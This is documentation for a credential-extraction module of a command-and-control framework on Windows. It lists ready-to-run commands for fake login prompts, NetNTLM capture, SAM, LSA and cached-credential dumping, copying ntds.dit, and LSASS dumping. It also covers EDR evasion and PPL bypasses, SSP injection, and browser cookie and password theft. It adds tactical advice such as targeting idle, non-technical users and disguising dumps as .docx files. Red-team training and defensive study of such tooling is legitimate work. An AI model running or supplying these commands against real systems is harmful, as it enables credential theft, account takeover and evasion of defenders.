Creds-BOF — Credential Extraction

The Creds-BOF module provides tools for credential extraction on Windows systems. It includes techniques ranging from social engineering to LSASS memory dumping, covering scenarios with both standard user and administrator privileges.

Compatible agents: Beacon, Gopher, Kharon (Windows)

askcreds#

Displays a Windows authentication dialog box to the user to capture their credentials through social engineering.

askcreds

Requirements: None (works as a standard user)

When to use: When you have access as a non-privileged user and need to obtain credentials. The dialog mimics a legitimate Windows prompt. Most effective when:

• The user has been idle (check with useridletime)
• Combined with a credible justification (update, network reconnection)
• The target is a non-technical user

Captured credentials are automatically extracted to JustC2’s Credentials panel.

get-netntlm#

Forces the system’s NetNTLM authentication toward a controlled listener to capture the hash.

get-netntlm \\10.0.0.50\share

Requirements: None (works as a standard user)

When to use: To capture the user’s or machine account’s NetNTLM hash. The hash can be:

• Cracked offline with tools like Hashcat or John the Ripper
• Relayed to other services if the network lacks signing/channel binding protections (check with RelayInformer)

Requires an active hash capture listener (Responder, ntlmrelayx, etc.) at the specified address.

hashdump#

Extracts NTLM hashes from the local SAM database.

hashdump

Requirements: Local Administrator

Automatic extraction: Extracted hashes are automatically registered in JustC2’s Credentials panel, ready for Pass-the-Hash attacks.

When to use: Immediately after obtaining local administrator privileges. SAM hashes include local accounts that can be reused across other systems on the network (password reuse). Particularly valuable is the local administrator hash if the same password is used on multiple machines.

lsadump_secrets#

Extracts secrets stored in LSA (Local Security Authority).

lsadump_secrets

Requirements: SYSTEM or Local Administrator

When to use: LSA secrets contain:

• Service account passwords in clear text
• Autologon credentials
• Machine account password history
• VPN keys and other secrets stored by applications

Run this command on servers running services with domain accounts to obtain their passwords.

lsadump_sam#

Alternative method to extract hashes from the SAM database.

lsadump_sam

Requirements: Local Administrator

When to use: If hashdump fails or is blocked by antivirus, try this alternative method which uses a different extraction technique.

lsadump_cache#

Extracts cached domain credentials (Domain Cached Credentials — DCC2).

lsadump_cache

Requirements: Local Administrator

When to use: On domain-joined machines, Windows caches credentials of the last users who logged in to allow offline access. DCC2 hashes can be cracked offline, although they are significantly slower than NTLM. Useful when:

• You can’t access a domain controller
• You need credentials from users who logged into that machine
• Users of interest (domain admins) have used the machine recently

underlaycopy#

Copies locked files using the Volume Shadow Copy Service (VSS).

underlaycopy C:\Windows\System32\config\SAM C:\Temp\SAM.bak
underlaycopy C:\Windows\NTDS\ntds.dit C:\Temp\ntds.dit

Requirements: Local Administrator

When to use: To copy files that are in use and locked by the operating system, such as:

• SAM/SYSTEM/SECURITY — Registry hives for offline hash extraction
• ntds.dit — Active Directory database on domain controllers
• Database files locked by running services

nanodump#

Advanced tool for dumping LSASS process memory using direct system calls (syscalls). Provides multiple evasion techniques to avoid detection by antivirus and EDR.

Requirements: Local Administrator, x64 architecture

Basic usage#

nanodump
nanodump -w C:\Windows\Temp\report.docx
nanodump -d -w C:\Windows\Temp\report.docx

Handle acquisition techniques#

These options control how nanodump obtains access to the LSASS process. Only one can be used at a time:

Alternative dump techniques#

Dump options#

Additional variants#

nanodump_ppl_dump#

PPL (Protected Process Light) bypass to dump LSASS on protected systems.

nanodump_ppl_dump -w C:\Windows\Temp\report.docx
nanodump_ppl_dump -d -w C:\Windows\Temp\report.docx --valid

nanodump_ppl_medic#

PPL bypass using the PPLMedic technique.

nanodump_ppl_medic -w C:\Windows\Temp\report.docx
nanodump_ppl_medic -eh -w C:\Windows\Temp\report.docx

nanodump_ssp#

Injects an SSP (Security Support Provider) into LSASS to intercept credentials in real time.

nanodump_ssp -w C:\Windows\Temp\doc.docx --write-dll C:\Windows\Temp\ssp.dll
nanodump_ssp -w C:\Windows\Temp\doc.docx --load-dll C:\Windows\Temp\existing.dll

When to use: Nanodump is the preferred tool for dumping LSASS when AV/EDR is present. Choose the technique based on the environment:

• No EDR: Basic usage without options (nanodump)
• EDR detects OpenProcess: Use -d (duplicate existing handle) or -sc (spoof callstack)
• EDR monitors handles: Use -sd (seclogon) or -slr (seclogon remote)
• LSASS protected with PPL: Use nanodump_ppl_dump or nanodump_ppl_medic
• MiniDump monitoring: Use --fork or --snapshot to avoid detection based on direct dumping

If disk writes can be detected, omit -w so the dump is sent directly through the agent channel without touching disk.

cookie-monster#

Extracts cookies, saved passwords, and encryption keys from Chrome, Edge, and Firefox browsers.

cookie-monster -b chrome
cookie-monster -b msedge
cookie-monster -b firefox
cookie-monster -b all
cookie-monster -b chrome --cookie-only
cookie-monster -b chrome --password-only
cookie-monster -b chrome --key-only
cookie-monster --profile "C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State" 1234

*Either -b or --profile must be used, not both.

When to use: To gain access to the user’s active web sessions:

• Session cookies — Direct access to web applications without credentials
• Saved passwords — Credentials stored in the browser
• Encryption keys — To decrypt browser data offline

Especially useful for accessing web administration panels, cloud services, and SaaS applications where the user has an active session.

Recommended workflow#

As a non-privileged user:#

1. askcreds — Attempt to obtain credentials via social engineering
2. get-netntlm — Capture NetNTLM hash for cracking/relay

As a local administrator:#

1. hashdump — Extract SAM hashes
2. lsadump_secrets — Extract LSA secrets
3. lsadump_cache — Extract cached domain credentials
4. nanodump — Dump LSASS for in-memory credentials
5. cookie-monster -b all — Extract browser data